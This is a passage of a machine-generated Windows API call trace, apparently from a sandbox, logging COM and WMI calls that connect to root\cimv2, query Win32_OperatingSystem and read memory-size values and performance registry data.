0x0 [0263.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd330 | out: ppvObject=0x1d2dd330*=0x4f3ac0) returned 0x0 [0263.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd3c0 | out: ppvObject=0x1d2dd3c0*=0x0) returned 0x80004002 [0263.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcbb8 | out: ppvObject=0x1d2dcbb8*=0x0) returned 0x80004002 [0263.491] WbemDefPath:IUnknown:AddRef (This=0x4f3ac0) returned 0x3 [0263.491] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dca78 | out: ppvObject=0x1d2dca78*=0x0) returned 0x80004002 [0263.492] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dca00 | out: ppvObject=0x1d2dca00*=0x0) returned 0x80004002 [0263.492] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dc9f0 | out: ppvObject=0x1d2dc9f0*=0x1d497400) returned 0x0 [0263.492] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1d497400, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dca18 | out: pCid=0x1d2dca18*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0263.492] WbemDefPath:IUnknown:Release (This=0x1d497400) returned 0x3 [0263.492] CoGetContextToken (in: pToken=0x1d2dcaa0 | out: pToken=0x1d2dcaa0) returned 0x0 [0263.492] CoGetContextToken (in: pToken=0x1d2dcf20 | out: pToken=0x1d2dcf20) returned 0x0 [0263.492] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcfe0 | out: ppvObject=0x1d2dcfe0*=0x0) returned 0x80004002 [0263.493] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x2 [0263.493] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x1 [0263.493] CoGetContextToken (in: pToken=0x1d2ddd10 | out: pToken=0x1d2ddd10) returned 0x0 [0263.493] CoGetContextToken (in: pToken=0x1d2ddc10 | out: pToken=0x1d2ddc10) returned 0x0 [0263.493] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3ac0, riid=0x1d2ddd70*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1d2ddd40 | out: ppvObject=0x1d2ddd40*=0x4f3ac0) returned 0x0 [0263.493] WbemDefPath:IUnknown:AddRef (This=0x4f3ac0) returned 0x3 [0263.493] WbemDefPath:IUnknown:Release (This=0x4f3ac0) returned 0x2 [0263.493] WbemDefPath:IWbemPath:SetText (This=0x4f3ac0, uMode=0x4, pszPath="\\\\XC64ZB\\ROOT\\cimv2:Win32_OperatingSystem.CSName=\"XC64ZB\"") returned 0x0 [0263.493] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0f8 | out: puCount=0x1d2de0f8*=0x2) returned 0x0 [0263.493] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0f0*=0xf, pszText=0x0) returned 0x0 [0263.494] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0f0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0f0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0263.494] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0263.494] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0263.494] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0263.494] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286a028*=0, plFlavor=0x286a02c*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x286a028*=21, plFlavor=0x286a02c*=0) returned 0x0 [0263.494] SysStringByteLen (bstr="1395304") returned 0xe [0263.494] SysStringByteLen (bstr="1395304") returned 0xe [0263.494] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="FreePhysicalMemory", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x286a028*=21, plFlavor=0x286a02c*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="1395304", varVal2=0x0), pType=0x286a028*=21, plFlavor=0x286a02c*=0) returned 0x0 [0263.503] SysStringByteLen (bstr="1395304") returned 0xe [0263.503] SysStringByteLen (bstr="1395304") returned 0xe [0263.503] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de0c8 | out: puCount=0x1d2de0c8*=0x2) returned 0x0 [0263.504] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de0c0*=0xf, pszText=0x0) returned 0x0 [0263.504] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de0c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de0c0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0263.504] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de080*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28f1270*=0, plFlavor=0x28f1274*=0 | out: pVal=0x1d2de080*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x28f1270*=21, plFlavor=0x28f1274*=0) returned 0x0 [0263.504] SysStringByteLen (bstr="2096620") returned 0xe [0263.504] SysStringByteLen (bstr="2096620") returned 0xe [0263.504] IWbemClassObject:Get (in: This=0x1b34a5e0, wszName="TotalVisibleMemorySize", lFlags=0, pVal=0x1d2de0d0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x28f1270*=21, plFlavor=0x28f1274*=0 | out: pVal=0x1d2de0d0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="2096620", varVal2=0x0), pType=0x28f1270*=21, plFlavor=0x28f1274*=0) returned 0x0 [0263.504] SysStringByteLen (bstr="2096620") returned 0xe [0263.505] SysStringByteLen (bstr="2096620") returned 0xe [0263.505] CoGetContextToken (in: pToken=0x1d2dded0 | out: pToken=0x1d2dded0) returned 0x0 [0263.505] WbemLocator:IUnknown:Release (This=0x1b3509c8) returned 0x1 [0263.505] IUnknown:Release (This=0x1d35c4e0) returned 0x0 [0265.531] GetTickCount64 () returned 0xab9414 [0265.534] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0265.535] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="238", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x298be28, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x298be28*, lpcbData=0x1d2ddf78*=0x438) returned 0x0 [0265.539] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x0, lpcbData=0x1d2ddf80*=0x0 | out: lpType=0x1d2ddf88*=0x3, lpData=0x0, lpcbData=0x1d2ddf80*=0x0) returned 0xea [0265.539] RegQueryValueExW (in: hKey=0xffffffff80000004, lpValueName="234", lpReserved=0x0, lpType=0x1d2ddf88, lpData=0x299d240, lpcbData=0x1d2ddf78*=0xfde8 | out: lpType=0x1d2ddf88*=0x3, lpData=0x299d240*, lpcbData=0x1d2ddf78*=0xea8) returned 0x0 [0265.545] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de258 | out: puCount=0x1d2de258*=0x2) returned 0x0 [0265.545] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de250*=0xf, pszText=0x0) returned 0x0 [0265.545] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=4, puBuffLength=0x1d2de250*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de250*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0265.545] CoGetObjectContext (in: riid=0x24b1de8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2de1d8 | out: ppv=0x1d2de1d8*=0x4b0108) returned 0x0 [0265.546] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1d2de1c8 | out: pAptType=0x1d2de1c8*=1) returned 0x0 [0265.546] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x24b1dc8*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1d2de1d0 | out: ppvObject=0x1d2de1d0*=0x0) returned 0x80004002 [0265.546] IUnknown:Release (This=0x4b0108) returned 0x1 [0265.548] CoGetClassObject (in: rclsid=0x1b2eb4c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1d2dd898 | out: ppv=0x1d2dd898*=0x1d496e00) returned 0x0 [0265.549] WbemLocator:IUnknown:QueryInterface (in: This=0x1d496e00, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd980 | out: ppvObject=0x1d2dd980*=0x0) returned 0x80004002 [0265.549] WbemLocator:IClassFactory:CreateInstance (in: This=0x1d496e00, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd958 | out: ppvObject=0x1d2dd958*=0x1d497100) returned 0x0 [0265.549] WbemLocator:IUnknown:Release (This=0x1d496e00) returned 0x0 [0265.549] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd700 | out: ppvObject=0x1d2dd700*=0x1d497100) returned 0x0 [0265.549] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd790 | out: ppvObject=0x1d2dd790*=0x0) returned 0x80004002 [0265.549] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dcf88 | out: ppvObject=0x1d2dcf88*=0x0) returned 0x80004002 [0265.550] WbemLocator:IUnknown:AddRef (This=0x1d497100) returned 0x3 [0265.550] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dce48 | out: ppvObject=0x1d2dce48*=0x0) returned 0x80004002 [0265.550] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dcdd0 | out: ppvObject=0x1d2dcdd0*=0x0) returned 0x80004002 [0265.550] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dcdc0 | out: ppvObject=0x1d2dcdc0*=0x0) returned 0x80004002 [0265.550] CoGetContextToken (in: pToken=0x1d2dce70 | out: pToken=0x1d2dce70) returned 0x0 [0265.550] CoGetContextToken (in: pToken=0x1d2dd2f0 | out: pToken=0x1d2dd2f0) returned 0x0 [0265.550] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd3b0 | out: ppvObject=0x1d2dd3b0*=0x0) returned 0x80004002 [0265.550] WbemLocator:IUnknown:Release (This=0x1d497100) returned 0x2 [0265.550] WbemLocator:IUnknown:Release (This=0x1d497100) returned 0x1 [0265.550] CoGetContextToken (in: pToken=0x1d2ddd30 | out: pToken=0x1d2ddd30) returned 0x0 [0265.551] CoGetContextToken (in: pToken=0x1d2ddc30 | out: pToken=0x1d2ddc30) returned 0x0 [0265.551] WbemLocator:IUnknown:QueryInterface (in: This=0x1d497100, riid=0x1d2ddd90*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1d2ddd60 | out: ppvObject=0x1d2ddd60*=0x1d497100) returned 0x0 [0265.551] WbemLocator:IUnknown:AddRef (This=0x1d497100) returned 0x3 [0265.551] WbemLocator:IUnknown:Release (This=0x1d497100) returned 0x2 [0265.551] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1d2f1310, puCount=0x1d2de168 | out: puCount=0x1d2de168*=0x2) returned 0x0 [0265.551] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0x0, pszText=0x0 | out: puBuffLength=0x1d2de160*=0xf, pszText=0x0) returned 0x0 [0265.551] WbemDefPath:IWbemPath:GetText (in: This=0x1d2f1310, lFlags=8, puBuffLength=0x1d2de160*=0xf, pszText="00000000000000" | out: puBuffLength=0x1d2de160*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0265.551] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1d2ddeb0 | out: ppv=0x1d2ddeb0*=0x1d497360) returned 0x0 [0265.551] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1d497360, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1d2de028 | out: ppNamespace=0x1d2de028*=0x1d475260) returned 0x0 [0265.587] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475260, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddd28 | out: ppvObject=0x1d2ddd28*=0x1b351820) returned 0x0 [0265.587] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x1b351820, pProxy=0x1d475260, pAuthnSvc=0x1d2dddf0, pAuthzSvc=0x1d2ddd70, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74, pImpLevel=0x1d2ddd80, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84 | out: pAuthnSvc=0x1d2dddf0*=0xa, pAuthzSvc=0x1d2ddd70*=0x0, pServerPrincName=0x1d2ddd98, pAuthnLevel=0x1d2ddd74*=0x6, pImpLevel=0x1d2ddd80*=0x2, pAuthInfo=0x1d2ddda8, pCapabilites=0x1d2ddd84*=0x1) returned 0x0 [0265.587] WbemLocator:IUnknown:Release (This=0x1b351820) returned 0x1 [0265.587] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475260, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcc0 | out: ppvObject=0x1d2ddcc0*=0x1b351868) returned 0x0 [0265.588] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475260, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddcd0 | out: ppvObject=0x1d2ddcd0*=0x1b351820) returned 0x0 [0265.588] WbemLocator:IClientSecurity:SetBlanket (This=0x1b351820, pProxy=0x1d475260, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0265.588] WbemLocator:IUnknown:Release (This=0x1b351820) returned 0x2 [0265.588] WbemLocator:IUnknown:Release (This=0x1b351868) returned 0x1 [0265.588] CoTaskMemFree (pv=0x1d471f20) [0265.588] WbemLocator:IUnknown:Release (This=0x1d497360) returned 0x0 [0265.588] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475260, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd7c0 | out: ppvObject=0x1d2dd7c0*=0x1b351868) returned 0x0 [0265.588] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1d2dd850 | out: ppvObject=0x1d2dd850*=0x0) returned 0x80004002 [0265.589] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x0) returned 0x80004002 [0265.589] WbemLocator:IUnknown:QueryInterface (in: This=0x1d475260, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1d2dd048 | out: ppvObject=0x1d2dd048*=0x0) returned 0x80004002 [0265.590] WbemLocator:IUnknown:AddRef (This=0x1b351868) returned 0x3 [0265.590] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1d2dcf08 | out: ppvObject=0x1d2dcf08*=0x0) returned 0x80004002 [0265.590] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1d2dce90 | out: ppvObject=0x1d2dce90*=0x0) returned 0x80004002 [0265.590] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dce80 | out: ppvObject=0x1d2dce80*=0x1b351748) returned 0x0 [0265.590] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351748, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1d2dcea8 | out: pCid=0x1d2dcea8*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0265.590] WbemLocator:IUnknown:Release (This=0x1b351748) returned 0x3 [0265.590] CoGetContextToken (in: pToken=0x1d2dcf30 | out: pToken=0x1d2dcf30) returned 0x0 [0265.590] CoGetContextToken (in: pToken=0x1d2dd3b0 | out: pToken=0x1d2dd3b0) returned 0x0 [0265.590] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dd470 | out: ppvObject=0x1d2dd470*=0x1b351830) returned 0x0 [0265.590] WbemLocator:IRpcOptions:Query (in: This=0x1b351830, pPrx=0x1b351868, dwProperty=2, pdwValue=0x1d2dd460 | out: pdwValue=0x1d2dd460) returned 0x80004002 [0265.591] WbemLocator:IUnknown:Release (This=0x1b351830) returned 0x3 [0265.591] WbemLocator:IUnknown:Release (This=0x1b351868) returned 0x2 [0265.591] CoGetContextToken (in: pToken=0x1d2dda70 | out: pToken=0x1d2dda70) returned 0x0 [0265.591] CoGetContextToken (in: pToken=0x1d2dd970 | out: pToken=0x1d2dd970) returned 0x0 [0265.591] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x1d2ddad0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1d2ddaa0 | out: ppvObject=0x1d2ddaa0*=0x1d475260) returned 0x0 [0265.591] WbemLocator:IUnknown:AddRef (This=0x1d475260) returned 0x4 [0265.591] WbemLocator:IUnknown:Release (This=0x1d475260) returned 0x3 [0265.591] WbemLocator:IUnknown:Release (This=0x1d475260) returned 0x2 [0265.591] SysStringLen (param_1=0x0) returned 0x0 [0265.591] CoGetContextToken (in: pToken=0x1d2ddba0 | out: pToken=0x1d2ddba0) returned 0x0 [0265.591] WbemLocator:IUnknown:AddRef (This=0x1b351868) returned 0x3 [0265.591] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351868, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2ddba0 | out: ppvObject=0x1d2ddba0*=0x1b351868) returned 0x0 [0265.592] WbemLocator:IUnknown:Release (This=0x1b351868) returned 0x3 [0265.592] WbemLocator:IUnknown:Release (This=0x1b351868) returned 0x2 [0265.592] CoGetContextToken (in: pToken=0x1d2ddcd0 | out: pToken=0x1d2ddcd0) returned 0x0 [0265.592] WbemLocator:IUnknown:AddRef (This=0x1d475260) returned 0x3 [0265.592] IWbemServices:ExecQuery (in: This=0x1d475260, strQueryLanguage="WQL", strQuery="select * from Win32_OperatingSystem", lFlags=16, pCtx=0x0, ppEnum=0x1d2de178 | out: ppEnum=0x1d2de178*=0x1d35bfa0) returned 0x0 [0265.605] IUnknown:QueryInterface (in: This=0x1d35bfa0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1d2dde48 | out: ppvObject=0x1d2dde48*=0x1d35bfa8) returned 0x0 [0265.605] IClientSecurity:QueryBlanket (in: This=0x1d35bfa8, pProxy=0x1d35bfa0, pAuthnSvc=0x1d2ddf10, pAuthzSvc=0x1d2dde90, pServerPrincName=0x1d2ddeb8, pAuthnLevel=0x1d2dde94, 